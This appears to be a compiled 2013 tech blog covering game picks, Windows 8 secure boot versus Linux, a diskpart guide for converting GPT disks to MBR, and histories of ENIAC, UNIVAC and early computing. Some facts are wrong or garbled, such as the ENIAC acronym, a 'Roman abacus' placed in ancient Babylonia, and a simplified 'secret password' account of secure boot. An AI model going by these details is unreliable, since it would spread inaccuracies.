A Good Match for: Management consultants. Success happens best in Team Fortress 2 when everyone on a squad focuses on their role and not on individual glories. So, when the Medic sticks to healing, the Engineer to turret placement and the Spy to subterfuge, everybody wins.
Not for Those Who Want: Loot. Or any other kind of micro-transactions, really. There's no real have/have-not divide in TF2, but you're a nobody if your Demoman's not kitted out in cool duds. Grabbing gear is the main driver for much of the TF2 hardcore and you'll be hard-pressed to resist its seductive pull.
Here's how it looks in action. Purchase on Steam.

Trine 2

The Trine franchise has gone from being a quirky, under-appreciated release in its first game to a 2011 title with high expectations. The puzzle/platformer hybrid meets all of them, letting players romp together through its gorgeously shimmery gameworld via oft-requested online co-op.
A Good Match for: Fans of dogs and cats sleeping together. Trine 2's cross-platform play means that Mac and Windows players can take turns as the Wizard, Thief and Warrior.
Not for Those Who Want: New game mechanics. Trine 2's triumph is in execution, not innovation. The levitation powers, grappling and combat of the three main characters all riff on things you've seen elsewhere.
Here's how it looks in action.

Windows 8 secure boot could complicate Linux installs

2013-03-02T01:52:00.003-08:00

PC users who run Windows and Linux on the same machine will want to do some research before purchasing a Windows 8 computer. That's because systems with a "Designed for Windows 8" logo must ship with UEFI secure booting enabled—a move that prevents booting operating systems that aren’t signed by a trusted Certificate Authority.
This could pose a problem for Linux users, though in practice most can just change UEFI settings to disable secure boot before installing the open-source OS. But users will have to depend on hardware vendors to make this option possible in the first place.

Disabling secure boot

“Microsoft requires that machines conforming to the Windows 8 logo program and running a client version of Windows 8 ship with secure boot enabled,” Red Hat developer Matthew Garrett writes on his blog in reference to a recent presentation by Microsoft program manager Arie van der Hoeven. The Microsoft exec notes that UEFI and secure boot are “required for Windows 8 client” with the result that “all firmware and software in the boot process must be signed by a trusted Certificate Authority.”
Microsoft has a good reason for this. A “growing class of malware targets the boot path [and] often the only fix is to reinstall the operating system,” van der Hoeven said. “UEFI and secure boot harden the boot process [and] reduce the likelihood of bootkits, rootkits and ransomware.”
Importantly, though, Garrett writes that “there’s no indication that Microsoft will prevent vendors from providing firmware support for disabling this feature and running unsigned code.”
For many (and hopefully most) Windows 8 machines, this means that users have a good chance of successfully entering the UEFI settings interface to turn off secure boot. But this will depend on the hardware vendor.
“Experience indicates that many firmware vendors and OEMs are interested in providing only the minimum of firmware functionality required for their market,” Garrett writes. “It's almost certainly the case that some systems will ship with the option of disabling this. Equally, it's almost certainly the case that some systems won't. It's probably not worth panicking yet. But it is worth being concerned.”
Technically, vendors can ship Windows 8 PCs without meeting Microsoft's "designed for Windows 8" logo requirements, but major OEMs typically would not do that.
The Windows 8 developer tablet Microsoft handed out at this month’s BUILD conference did include the ability to turn off the secure boot process. This is reminiscent of Google’s Cr-48 Chromebook, which allowed users to turn off the Verified Boot process and install another operating system, though this involved flipping a physical switch instead of changing a software setting.

A signed OS

Besides disabling the Windows 8 secure boot process, another option for Linux lovers is installing a signed version of Linux. But “this poses several problems,” Garrett notes. “Firstly, we'd need a non-GPL bootloader. Grub 2 is released under the GPLv3, which explicitly requires that we provide the signing keys. Grub is under GPLv2 which lacks the explicit requirement for keys, but it could be argued that the requirement for the scripts used to control compilation includes that. It's a grey area, and exploiting it would be a pretty good show of bad faith. Secondly, in the near future the design of the kernel will mean that the kernel itself is part of the bootloader. This means that kernels will also have to be signed. Making it impossible for users or developers to build their own kernels is not practical. Finally, if we self-sign, it's still necessary to get our keys included by every OEM.”
Current machines dual-booting Windows 7 and Linux should be able to upgrade to Windows 8 without wiping out the Linux install. As Microsoft notes in the Building Windows 8 blog, “We will continue to support the legacy BIOS interface.” However, machines using UEFI instead of BIOS “will have significantly richer capabilities” including faster boot times and greater security.
Ultimately, the Windows 8 changes aren’t likely to wipe out Linux dual-boot scenarios, but they could restrict the types of hardware that will allow them. PC users who would boot two operating systems tend to be highly technical, though, so we expect they’ll find the necessary workarounds.

Linux is not ready to UEFI BOOT SECURE

2013-03-02T01:31:00.000-08:00

Linux is not ready to UEFI BOOT SECURE. One of the largest underlying changes to Windows 8 is the long-overdue shift from BIOS to UEFI. UEFI (Unified Extensible Firmware Interface) is superior to BIOS (Basic Input/Output System) in almost every way, except for one: At the moment, UEFI prevents Linux distributions from being installed on Windows 8 machines.
UEFI, in essence, is a light-weight operating system that your computer loads at boot time. (See: Demystifying UEFI, the long-overdue BIOS replacement.) Because it’s an operating system, UEFI has full access to your hardware, and it can be programmed to do just about anything (thus the Extensible part of its acronym). UEFI interfaces can be mouse-driven (pictured below), and can perform complex tasks such as surfing the web or backing up your hard drives.
The UEFI specification itself also introduces a few new features to improve performance, flexibility, and security. The feature that has received by far the most attention is secure boot, as it can be used by PC OEMs to prevent other operating systems being installed on their hardware. Dell, if it so wishes, could build a PC that only runs Windows. On the flip side, Apple could stop Windows from being installed on its hardware.

Ostensibly, secure boot isn’t meant to be used maliciously, though: Its primary purpose is to prevent a malware-infected PC from booting, thus protecting the user from possible data theft or worse. Secure boot works by means of cryptographic signing: A chip on the motherboard stores the cryptographic hash/key of important operating system files and drivers, and during boot-up those files are checked — if their hashes have changed, they’re assumed to be compromised, and the boot process stops. If you try to boot Linux, secure boot detects the altered hashes and halts boot. While Linux obviously isn’t malware, secure boot doesn’t know that.
The solution, of course, is to add the Linux file/driver hashes to the secure boot chip — but to do that, you need a secret password. In the case of Windows 8 machines (i.e. official OEM machines bearing the Windows 8 logo), only Microsoft and the OEM know the password. If the key was public, then malware authors would be able to add their own hashes, and thus the system would be worthless.

Where does this leave Linux? One solution is to simply disable secure boot. Some OEM machines allow you to do this, while some (most notably the ARM-powered Windows RT devices) don’t. This is a bit of an unfair compromise, though, as it leaves your computer vulnerable to malware and rootkit infection. Another option would be for Linux distributors, such as Red Hat and Canonical, to collaborate with Microsoft to get their distros added to the secure boot system. It doesn’t seem like there has been much movement in that area, though.
The currently favored solution is a workaround: a pre-bootloader signed by Microsoft (so it passes secure boot) that can then be used to load a normal Linux bootloader without further signature checking. One Linux developer, Matthew Garrett, has managed to get Microsoft to sign a pre-bootloader called Shim. You can download it today and use it to boot Linux on your Windows 8 machine. Shim should soon find its way into SUSE, Fedora, Ubuntu, and other major Linux distros. The Linux Foundation is developing an “official” workaround, but as of November it still hadn’t received Microsoft’s blessing.

Convert GPT Disk to MBR Disk

2013-02-27T06:14:00.004-08:00

Convert GPT Disk to MBR Disk. GUID Partition Table, short for GPT, is a standard for the layout of the partition table on a physical hard disk. Although it forms a part of the Extensible Firmware Interface (EFI) standard, it is also used on some BIOS systems because of the limitations of MBR partition tables, which restrict maximum disk size to 2 TB.
Master Boot Record is short for MBR. It is the 512-byte boot sector that is the first sector of a partitioned data storage device such as a hard disk. When a data storage device has been partitioned with the MBR partition table scheme, the master boot record contains the primary partition entries in its partition table.

Comparison of GPT disk and MBR disk

	MBR disk	GPT disk
Supported Operating System	All Windows OperatingSystems	Windows Server 2003 SP1 +, Windows XP 64-bit, Windows Vista, Windows 7, Windows 8, Windows Server 2008
Partition table type	Standard BIOS partition table	Extensible firmware interface (EFI)
The number of partitions	Up to 3 primary partitions and 1 extended partition or 4 primary partitions	Up to 128 primary partitions
The max of single partition	2TB	256TB
Removable disk	Removable disk is MBR disk by default	Removable disk cannot be converted to GPT disk

All Windows operating systems can boot from a MBR disk, you can only boot from a GPT disk if you have an operating system (see above) that supports GPT and your motherboard has a EFI BIOS and is enabled. You can have a separate GPT disk as a data disk if your operating system (see above) supports reading a GPT disk, even if your system disk is still a MBR disk.

How to convert GPT disk to MBR disk for free?

The following will show you how to convert a GPT disk to a MBR disk with EaseUS Partition Master, Windows Disk Management and command prompt for free.

Tips:

1. You must have administrator privilege to do this in Windows.
2. Before you convert a disk, be sure to backup anything on the GPT disk that you want to convert to MBR disk. Converting the disk requires that all partitions and volumes are deleted on the disk first.

Solution 1: Convert GPT disk to MBR disk with EaseUS Partition Master

EaseUS Partition Master can only convert empty disk without partitions. Please delete all the partitions on the disk. We suggest you back up the disk before converting by the built-in Copy Wizard of EaseUS Partition Master. Please read this article for the detailed steps: Disk Copy Wizard in EaseUS Partition Master to protect data.
1. Launch EaseUS Partition Master. Right click the disk; choose "Delete all partitions".
2. Click "OK" to confirm the deletion.
3. Choose the empty disk, right click it and then select "Initialize to MBR".

Initialize to MBR disk

4. Click "Apply" to do all the pending operations. The disk is in MBR format now.

Solution 2: Convert GPT disk to MBR disk with Windows Disk Management

1. Right click "My Computer" and choose "Manage" -> "Storage" -> "Disk Management".

2. Delete all volumes on the GPT hard disk which you want to convert to MBR disk.

3. Right click on the hard disk 1 and choose "Convert to MBR disk". After you convert GPT disk to MBR disk, you can create partitions on the now MBR disk if you like.

Solution 3: Convert GPT disk to MBR disk via diskpart command

In the following case, I would like to convert disk 1 into MBR disk.
1. Open command prompt.
2. In the command prompt, type diskpart and press enter
3. Type list disk and press enter.

4. Type select disk 1 and press enter.
5. Type detail disk and press enter. This will give you a list of all the volumes on the selected disk. If you do not have any volumes listed, then you can go to step 9.

6. Type select volume 5 and press enter.
7. Type delete volume and press enter.
8. Repeat steps 6 and 7 for each volume listed in step 5 until you have deleted all the volumes.

9. Type select disk 1 and press enter.
10. Type convert mbr and press enter.

11. Type exit and press enter.

John Presper Eckert in ENIAC Computer

2013-02-25T21:27:00.000-08:00

John Presper Eckert

Electrical engineer, John Presper Eckert co-invented with John Mauchly, the first general-purpose electronic digital computer, called the ENIAC. The team later co-invented the first commercial (for sale to consumers) digital electronic computer, called theUNIVAC.

John Presper Eckert - Biography:

John Presper Eckert was born on April 9, 1919, in Philadelphia, Pennsylvania. His parents were John Presper Eckert Senior and Ethel Hallowell Eckert. John Presper Eckert Senior was an excellent businessman and millionaire.

Early Hostilities

One story of Eckert's youth is a sad one. Eckert always desired to attend the Massachusetts Institute of Technology (MIT). However, his parents were uncooperative. Eckert Senior claimed he could not afford to send his only child to MIT. Eckert Junior attended the Moore Engineering School at the University of Pennsylvania. Eckert almost failed his first year at college after he realized that his family was deceiving him and he became too depressed to study.

John Presper Eckert did achieve his bachelor's degree in electrical engineering in 1941 and his master's degree in 1943.

Marriage & Family Life

On October 28, 1944, Eckert married Hester Caldwell. They had two sons, John Presper III and Christopher. Hester died in 1952 and ten years later Eckert married Judith Rewalt on October 13, 1962 and had two children with her, Laura and Gregory.

John Mauchly In ENIAC Computer

2013-02-25T21:21:00.002-08:00

John Mauchly

Electrical engineer, John Mauchly co-invented with John Presper Eckert, the first general-purpose electronic digital computer, called the ENIAC. The team later co-invented the first commercial (for sale to consumers) digital electronic computer, called the UNIVAC.

John Mauchly - Biography:

John Mauchly was born on August 30, 1907 in Cincinnati, Ohio. However, he grew up in Chevy Chase, Maryland. In 1925 Mauchly attended Johns Hopkins University in Baltimore, Maryland, on a full scholarship and graduated with a degree in physics.

John Mauchly's Introduction to Computers

By 1932, John Mauchly had received his Phd in physics, however, he had always maintened an interest in electrical engineering. In 1940. while Mauchly was teaching physics at Ursinus College in Philadelphia he was introduced to the newly developing field of electronic computers.

In 1941, John Mauchly attended a training course (taught by John Presper Eckert) in electronics at the Moore School of Electrical Engineering at the University of Pennsylvania. Immediately after completing the course Mauchly also became an instructor at the Moore school.

John Mauchly & John Presper Eckert

It was at Moore that John Mauchly began his research on designing a better computer and began his long working relationship with John Presper Eckert. The team collaborated on the construction of the ENIAC completed in 1946. They left the Morre shcool to start their own business the Eckert-Mauchly Computer Corporation. The National Bureau of Standards asked the new company to build the Universal Automatic Computer aka the UNIVAC, the first computer to be produced commercially in the United States.

Johm Mauchly - Later Life

John Mauchly formed Mauchly Associates of which he was president from 1959 to 1965, then becoming chairman of the board. Mauchly was the president of Dynatrend Inc. from 1968 to his death in 1980 and also president of Marketrend Inc. from 1970 again until his death. Johm Mauchly died on January 8 1980, in Ambler, Pennsylvania.

History Of ENIAC Computer

2013-02-25T21:10:00.003-08:00

The ENIAC I

History Of ENIAC Computer

In 1946, John Mauchly and John Presper Eckert developed the ENIAC I (Electrical Numerical Integrator And Calculator). The American military sponsored their research; the army needed a computer for calculating artillery-firing tables, the settings used for different weapons under varied conditions for target accuracy.

The Ballistics Research Laboratory, or BRL, the branch of the military responsible for calculating the tables, heard about John Mauchly's research at the University of Pennsylvania's Moore School of Electrical Engineering. John Mauchly had previously created several calculating machines, some with small electric motors inside. He had begun designing (1942) a better calculating machine based on the work of John Atanasoff that would use vacuum tubes to speed up calculations.

Partnership of John Mauchly & John Presper Eckert

On May 31, 1943, the military commission on the new computer began; John Mauchly was the chief consultant and John Presper Eckert was the chief engineer. Eckert was a graduate student studying at the Moore School when he met John Mauchly in 1943. It took the team about one year to design the ENIAC and 18 months and 500,000 tax dollars to build it. By that time, the war was over. The ENIAC was still put to work by the military doing calculations for the design of a hydrogen bomb, weather prediction, cosmic-ray studies, thermal ignition, random-number studies and wind-tunnel design.

What Was Inside The ENIAC?

The ENIAC contained 17,468 vacuum tubes, along with 70,000 resistors, 10,000 capacitors, 1,500 relays, 6,000 manual switches and 5 million soldered joints. It covered 1800 square feet (167 square meters) of floor space, weighed 30 tons, consumed 160 kilowatts of electrical power. There was even a rumor that when turned on the ENIAC caused the city of Philadelphia to experience brownouts, however, this was first reported incorrectly by the Philadelphia Bulletin in 1946 and since then has become an urban myth.

In one second, the ENIAC (one thousand times faster than any other calculating machine to date) could perform 5,000 additions, 357 multiplications or 38 divisions. The use of vacuum tubes instead of switches and relays created the increase in speed, but it was not a quick machine to re-program. Programming changes would take the technicians weeks, and the machine always required long hours of maintenance. As a side note, research on the ENIAC led to many improvements in the vacuum tube.

Contributions of Doctor John Von Neumann

In 1948, Doctor John Von Neumann made several modifications to the ENIAC. The ENIAC had performed arithmetic and transfer operations concurrently, which caused programming difficulties. Von Neumann suggested that switches control code selection so pluggable cable connections could remain fixed. He added a converter code to enable serial operation.

Eckert-Mauchly Computer Corporation

In 1946, J Presper Eckert and John Mauchly started the Eckert-Mauchly Computer Corporation. In 1949, their company launched the BINAC (BINary Automatic) computer that used magnetic tape to store data.

In 1950, the Remington Rand Corporation bought the Eckert-Mauchly Computer Corporation and changed the name to the Univac Division of Remington Rand. Their research resulted in the UNIVAC (UNIVersal Automatic Computer), an important forerunner of today's computers.

In 1955, Remington Rand merged with the Sperry Corporation and formed Sperry-Rand. Eckert remained with the company as an executive and continued with the company as it later merged with the Burroughs Corporation to become Unisys.

John Presper Eckert and John Mauchly both received the IEEE Computer Society Pioneer Award in 1980.

At 11:45 p.m., October 2, 1955, with the power finally shut off, the ENIAC retired.

History of UNIVAC Computer

2013-02-25T21:07:00.000-08:00

The Universal Automatic Computer or UNIVAC was a computer milestone achieved by Dr. Presper Eckert and Dr. John Mauchly, the team that invented the ENIAC computer.

John Presper Eckert and John Mauchly, after leaving the academic environment of The Moore School of Engineering to start their own computer business, found their first client was the United States Census Bureau. The Bureau needed a new computer to deal with the exploding U.S. population (the beginning of the famous baby boom). In April 1946, a $300,000 deposit was given to Eckert and Mauchly for the research into a new computer called the UNIVAC.

UNIVAC Computer

The research for the project proceeded badly, and it was not until 1948 that the actual design and contract was finalized. The Census Bureau's ceiling for the project was $400,000. J Presper Eckert and John Mauchly were prepared to absorb any overrun in costs in hopes of recouping from future service contracts, but the economics of the situation brought the inventors to the edge of bankruptcy.

In 1950, Eckert and Mauchly were bailed out of financial trouble by Remington Rand Inc. (manufacturers of electric razors), and the "Eckert-Mauchly Computer Corporation" became the "Univac Division of Remington Rand." Remington Rand's lawyers unsuccessfully tried to re-negotiate the government contract for additional money. Under threat of legal action, however, Remington Rand had no choice but to complete the UNIVAC at the original price.

On March 31, 1951, the Census Bureau accepted delivery of the first UNIVAC computer. The final cost of constructing the first UNIVAC was close to one million dollars. Forty-six UNIVAC computers were built for both government and business uses. Remington Rand became the first American manufacturers of a commercial computer system. Their first non-government contract was for General Electric's Appliance Park facility in Louisville, Kentucky, who used the UNIVAC computer for a payroll application.

UNIVAC Specs

The UNIVAC had an add time of 120 microseconds, multiply time of 1,800 microseconds and a divide time of 3,600 microseconds.
Input consisted of magnetic tape with a speed of 12,800 characters per second with a read-in speed of 100 inches per second, records at 20 characters per inch, records at 50 characters per inch, card to tape converter 240 cards per minute, 80 column punched card input 120 characters per inch, and punched paper tape to magnetic tape converter 200 characters a second.
Output media/speed was magnetic tape/12,800 characters per second, uniprinter/10-11 characters per second, high speed printer/600 lines per minute, tape to card converter/120 cards per minute, Rad Lab buffer storage/Hg 3,500 microsecond, or 60 words per minute.

Competion with IBM

John Presper Eckert and John Mauchly's UNIVAC was a direct competitor with IBM's computing equipmentfor the business market. The speed with which UNIVAC's magnetic tape could input data was faster than IBM's punch card technology, but it was not until the presidential election of 1952 that the public accepted the UNIVAC's abilities.

In a publicity stunt, the UNIVAC computer was used to predict the results of the Eisenhower-Stevenson presidential race. The computer had correctly predicted that Eisenhower would win, but the news media decided to blackout the computer's prediction and declared that the UNIVAC had been stumped. When the truth was revealed, it was considered amazing that a computer could do what political forecasters could not, and the UNIVAC quickly became a household name. The original UNIVAC now sits in the Smithsonian Institution.

First ENIAC Programmers

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Early ENIAC Programmers:

Other early computer programmers on the ENIAC were: Frances Bilas Spence, Elizabeth Jennings, Ruth Lichterman Teitelbaum, Kathleen McNulty, Elizabeth Snyder Holberton, and Marlyn Wescoff Meltzer.

JAEN BARTIK

ABOUT JAEN BARTIK

Jean Bartik (née Betty Jean Jennings, Elizabeth Jennings):

Born December 27, 1924 in Northwest Missouri in Gentry County, Jean Bartik grew up on a farm, the 6th of 7 children. Pearl Harbor was bombed during Jean's first year of college at the Northwest Missouri State Teachers College. Jean Bartik graduated in December 1944, and went to work as a programmer for Army Ordnance at Aberdeen Proving Ground. The workers were nicknamed the "computers".

ean Bartik - ENIAC:

An announcement came around that openings were going to be available for programmers for a new machine called the ENIAC. The programmers were given a block diagram of the ENIAC and told to learn how to program it. However, there were no manuals, no teachers, and no ENIAC. The computer was in the building however, they were not allowed to see it until their security clearance came through.

Challenges of the ENIAC:

The ENIAC was 80 by 10 feet high. Originally programmed by setting switches on the unit named the: accumulators, multiplier, divider/square rooter, three function tables and master programmer. The ENIAC proved difficult to program. In fact, Jean Bartik and team were the only people who were able to program the ENIAC in its original state. Jean Bartik was responisble for changing the ENIAC into a stored program computer. In total, the ENIAC solved 100 scientific problems during its lifetime.

Jean Bartik - Later Years:

Jean Bartik went on to work on the BINAC and UNIVAC 1. She took 16 years off to have children and came back to work in 1967. At that point, she worked in publishing, marketed minicomputers, provided market support, ran users' groups, and performed competitive analysis.

Quote From Jean Bartik:

I was just at the right place at the right time. It was divine providence or fate that selected me to be an ENIAC programmer. Betty Holberton quoted something interesting recently, 'Look like a girl, Act like a lady, Think like a man, and Work like a dog.' I was told I'd never make it to VP rank because I was too outspoken. Maybe so, but I think men will always find an excuse for keeping women in their 'place.' So, let's make that place the executive suite and start more of our own companies.

History Computer Hardware

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History Computer Hardware

Computing hardware evolved from machines that needed separate manual action to perform each arithmetic operation, to punched card machines, and then to stored-program computers. The history of stored-program computers relates first to computer architecture, that is, the organization of the units to perform input and output, to store data and to operate as an integrated mechanism.

Before the development of the general-purpose computer, most calculations were done by humans. Mechanical tools to help humans with digital calculations were then called "calculating machines", by proprietary names, or even as they are now, calculators. It was those humans who used the machines who were then called computers. Aside from written numerals, the first aids to computation were purely mechanical devices which required the operator to set up the initial values of an elementary arithmetic operation, then manipulate the device to obtain the result. A sophisticated (and comparatively recent) example is the slide rule in which numbers are represented as lengths on a logarithmic scale and computation is performed by setting a cursor and aligning sliding scales, thus adding those lengths. Numbers could be represented in a continuous "analog" form, for instance a voltage or some other physical property was set to be proportional to the number. Analog computers, like those designed and built by Vannevar Bush before World War II were of this type. Numbers could be represented in the form of digits, automatically manipulated by a mechanical mechanism. Although this last approach required more complex mechanisms in many cases, it made for greater precision of results.

In the United States, the development of the computer was underpinned by massive government investment in the technology for military applications during WWII and then the Cold War. The latter superpower confrontation made it possible for local manufacturers to transform their machines into commercially viable products. It was the same story in Europe, where adoption of computers began largely through proactive steps taken by national governments to stimulate development and deployment of the technology.

The invention of electronic amplifiers made calculating machines much faster than their mechanical or electromechanical predecessors. Vacuum tube (thermionic valve)amplifiers gave way to solid state transistors, and then rapidly to integrated circuits which continue to improve, placing millions of electrical switches (typically transistors) on a single elaborately manufactured piece of semi-conductor the size of a fingernail. By defeating the tyranny of numbers, integrated circuits made high-speed and low-cost digital computers a widespread commodity. There is an ongoing effort to make computer hardware faster, cheaper, and capable of storing more data.

Computing hardware has become a platform for uses other than mere computation, such as process automation, electronic communications, equipment control, entertainment, education, etc. Each field in turn has imposed its own requirements on the hardware, which has evolved in response to those requirements, such as the role of the touch screen to create a more intuitive and natural user interface.

As all computers rely on digital storage, and tend to be limited by the size and speed of memory, the history of computer data storage is tied to the development of computers.

Earliest true hardware

Devices have been used to aid computation for thousands of years, mostly using one-to-one correspondence with our fingers. The earliest counting device was probably a form of tally stick. Later record keeping aids throughout the Fertile Crescent included calculi (clay spheres, cones, etc.) which represented counts of items, probably livestock or grains, sealed in containers. The use of counting rods is one example.

The abacus was early used for arithmetic tasks. What we now call the Roman abacus was used in Babylonia as early as 2400 BC. Since then, many other forms of reckoning boards or tables have been invented. In a medieval European counting house, a checkered cloth would be placed on a table, and markers moved around on it according to certain rules, as an aid to calculating sums of money.

Several analog computers were constructed in ancient and medieval times to perform astronomical calculations. These include the Antikythera mechanism and the astrolabe from ancient Greece (c. 150–100 BC), which are generally regarded as the earliest known mechanical analog computers. Hero of Alexandria (c. 10–70 AD) made many complex mechanical devices including automata and a programmable cart. Other early versions of mechanical devices used to perform one or another type of calculations include the planisphere and other mechanical computing devices invented by Abū Rayhān al-Bīrūnī (c. AD 1000); the equatorium and universal latitude-independent astrolabe by Abū Ishāq Ibrāhīm al-Zarqālī (c. AD 1015); the astronomical analog computers of other medieval Muslim astronomers and engineers; and the astronomical clock tower of Su Song (c. AD 1090) during the Song Dynasty.

Suanpan (the number represented on this abacus is 6,302,715,408)

Scottish mathematician and physicist John Napier noted multiplication and division of numbers could be performed by addition and subtraction, respectively, of logarithms of those numbers. While producing the first logarithmic tables Napier needed to perform many multiplications, and it was at this point that he designed Napier's bones, an abacus-like device used for multiplication and division. Since real numbers can be represented as distances or intervals on a line, the slide rule was invented in the 1620s to allow multiplication and division operations to be carried out significantly faster than was previously possible.Slide rules were used by generations of engineers and other mathematically involved professional workers, until the invention of the pocket calculator.

Yazu Arithmometer. Patented in Japan in 1903. Note the lever for turning the gears of the calculator.

Wilhelm Schickard, a German polymath, designed a calculating clock in 1623. It made use of a single-tooth gear that was not an adequate solution for a general carry mechanism. A fire destroyed the machine during its construction in 1624 and Schickard abandoned the project. Two sketches of it were discovered in 1957, too late to have any impact on the development of mechanical calculators.

In 1642, while still a teenager, Blaise Pascal started some pioneering work on calculating machines and after three years of effort and 50 prototypes he invented the mechanical calculator. He built twenty of these machines (called Pascal's Calculator or Pascaline) in the following ten years. Nine Pascalines have survived, most of which are on display in European museums.

Gottfried Wilhelm von Leibniz invented the Stepped Reckoner and his famous cylinders around 1672 while adding direct multiplication and division to the Pascaline. Leibniz once said "It is unworthy of excellent men to lose hours like slaves in the labour of calculation which could safely be relegated to anyone else if machines were used."

Around 1820, Charles Xavier Thomas de Colmar created the first successful, mass-produced mechanical calculator, the Thomas Arithmometer, that could add, subtract, multiply, and divide. It was mainly based on Leibniz' work. Mechanical calculators, like the base-ten addiator, the comptometer, the Monroe, the Curta and the Addo-X remained in use until the 1970s. Leibniz also described the binary numeral system, a central ingredient of all modern computers. However, up to the 1940s, many subsequent designs (including Charles Babbage's machines of the 1822 and even ENIAC of 1945) were based on the decimal system; ENIAC's ring counters emulated the operation of the digit wheels of a mechanical adding machine.

In Japan, Ryōichi Yazu patented a mechanical calculator called the Yazu Arithmometer in 1903. It consisted of a single cylinder and 22 gears, and employed the mixed base-2 and base-5 number system familiar to users to the soroban (Japanese abacus). Carry and end of calculation were determined automatically. More than 200 units were sold, mainly to government agencies such as the Ministry of War and agricultural experiment stations.

1801: punched card technology

Punched card system of a music machine, also referred to as Book music

In 1801, Joseph-Marie Jacquard developed a loom in which the pattern being woven was controlled by punched cards. The series of cards could be changed without changing the mechanical design of the loom. This was a landmark achievement in programmability. His machine was an improvement over similar weaving looms. Punch cards were preceded by punch bands, as in the machine proposed by Basile Bouchon. These bands would inspire information recording for automatic pianos and more recently NC machine-tools.

In 1833, Charles Babbage moved on from developing his difference engine (for navigational calculations) to a general purpose design, the Analytical Engine, which drew directly on Jacquard's punched cards for its program storage. In 1837, Babbage described his analytical engine. It was a general-purpose programmable computer, employing punch cards for input and a steam engine for power, using the positions of gears and shafts to represent numbers. His initial idea was to use punch-cards to control a machine that could calculate and print logarithmic tables with huge precision (a special purpose machine). Babbage's idea soon developed into a general-purpose programmable computer. While his design was sound and the plans were probably correct, or at least debuggable, the project was slowed by various problems including disputes with the chief machinist building parts for it. Babbage was a difficult man to work with and argued with everyone. All the parts for his machine had to be made by hand. Small errors in each item might sometimes sum to cause large discrepancies. In a machine with thousands of parts, which required these parts to be much better than the usual tolerances needed at the time, this was a major problem. The project dissolved in disputes with the artisan who built parts and ended with the decision of the British Government to cease funding. Ada Lovelace, Lord Byron's daughter, translated and added notes to the "Sketch of the Analytical Engine" by Federico Luigi, Conte Menabrea. This appears to be the first published description of programming.

A reconstruction of the Difference Engine II, an earlier, more limited design, has been operational since 1991 at the London Science Museum. With a few trivial changes, it works exactly as Babbage designed it and shows that Babbage's design ideas were correct, merely too far ahead of his time. The museum used computer-controlled machine tools to construct the necessary parts, using tolerances a good machinist of the period would have been able to achieve. Babbage's failure to complete the analytical engine can be chiefly attributed to difficulties not only of politics and financing, but also to his desire to develop an increasingly sophisticated computer and to move ahead faster than anyone else could follow.

A machine based on Babbage's difference engine was built in 1843 by Per Georg Scheutz and his son Edward. An improved Scheutzian calculation engine was sold to the British government and a later model was sold to the American government and these were used successfully in the production of logarithmic tables.

Following Babbage, although unaware of his earlier work, was Percy Ludgate, an accountant from Dublin, Ireland. He independently designed a programmable mechanical computer, which he described in a work that was published in 1909.

1880s: punched card data storage

IBM punched card Accounting Machines at the U.S. Social Security Administration in 1936.

In the late 1880s, the American Herman Hollerith invented data storage on a medium that could then be read by a machine. Prior uses of machine readable media had been for control (automatons such as piano rolls orlooms), not data. "After some initial trials with paper tape, he settled on punched cards Hollerith came to use punched cards after observing how railroad conductors encoded personal characteristics of each passenger with punches on their tickets. To process these punched cards he invented the tabulator, and the key punch machine. These three inventions were the foundation of the modern information processing industry. His machines used mechanical relays (and solenoids) to increment mechanical counters. Hollerith's method was used in the 1890 United States Census and the completed results were "... finished months ahead of schedule and far under budget". Indeed, the census was processed years faster than the prior census had been. Hollerith's company eventually became the core of IBM. IBM developed punch card technology into a powerful tool for business data-processing and produced an extensive line of unit record equipment. By 1950, the IBM card had become ubiquitous in industry and government. The warning printed on most cards intended for circulation as documents (checks, for example), "Do not fold, spindle or mutilate," became a catch phrase for the post-World War II era.

Punch card Tabulator, 1961

Punched card with the extended alphabet

Leslie Comrie's articles on punched card methods and W.J. Eckert's publication of Punched Card Methods in Scientific Computation in 1940, described punch card techniques sufficiently advanced to solve some differential equations or perform multiplication and division using floating point representations, all on punched cards and unit record machines. Those same machines had been used during World War II for cryptographic statistical processing. In the image of the tabulator (see left), note the control panel, which is visible on the right side of the tabulator. A row of toggle switches is above the control panel. The Thomas J. Watson Astronomical Computing Bureau, Columbia University performed astronomical calculations representing the state of the art in computing.

Computer programming in the punch card era was centered in the "computer center". Computer users, for example science and engineering students at universities, would submit their programming assignments to their local computer center in the form of a deck of punched cards, one card per program line. They then had to wait for the program to be read in, queued for processing, compiled, and executed. In due course, a printout of any results, marked with the submitter's identification, would be placed in an output tray, typically in the computer center lobby. In many cases these results would be only a series of error messages, requiring yet another edit-punch-compile-run cycle. Punched cards are still used and manufactured to this day, and their distinctive dimensions (and 80-column capacity) can still be recognized in forms, records, and programs around the world. They are the size of American paper currency in Hollerith's time, a choice he made because there was already equipment available to handle bills.

Desktop calculators

The Curta calculator can also do multiplication and division.

By the 20th century, earlier mechanical calculators, cash registers, accounting machines, and so on were redesigned to use electric motors, with gear position as the representation for the state of a variable. The word "computer" was a job title assigned to people who used these calculators to perform mathematical calculations. By the 1920s Lewis Fry Richardson's interest in weather prediction led him to propose human computers andnumerical analysis to model the weather; to this day, the most powerful computers on Earth are needed to adequately model its weather using the Navier–Stokes equations.

Companies like Friden, Marchant Calculator and Monroe made desktop mechanical calculators from the 1930s that could add, subtract, multiply and divide. During the Manhattan project, future Nobel laureate Richard Feynman was the supervisor of human computers who understood the use of differential equations which were being solved for the war effort.

In 1948, the Curta was introduced. This was a small, portable, mechanical calculator that was about the size of a pepper grinder. Over time, during the 1950s and 1960s a variety of different brands of mechanical calculators appeared on the market. The first all-electronic desktop calculator was the British ANITA Mk.VII, which used a Nixie tube display and 177 subminiature thyratron tubes. In June 1963, Friden introduced the four-function EC-130. It had an all-transistor design, 13-digit capacity on a 5-inch (130 mm) CRT, and introduced Reverse Polish notation (RPN) to the calculator market at a price of $2200. The EC-132 model added square root and reciprocal functions. In 1965, Wang Laboratories produced the LOCI-2, a 10-digit transistorized desktop calculator that used a Nixie tube display and could compute logarithms.

In the early days of binary vacuum-tube computers, their reliability was poor enough to justify marketing a mechanical octal version ("Binary Octal") of the Marchant desktop calculator. It was intended to check and verify calculation results of such computers.

Advanced analog computers

Cambridge differential analyzer, 1938

Before World War II, mechanical and electrical analog computers were considered the "state of the art", and many thought they were the future of computing. Analog computers take advantage of the strong similarities between the mathematics of small-scale properties—the position and motion of wheels or the voltage and current of electronic components—and the mathematics of other physical phenomena, for example, ballistic trajectories, inertia, resonance, energy transfer, momentum, and so forth. They model physical phenomena with electrical voltages and currents as the analog quantities.

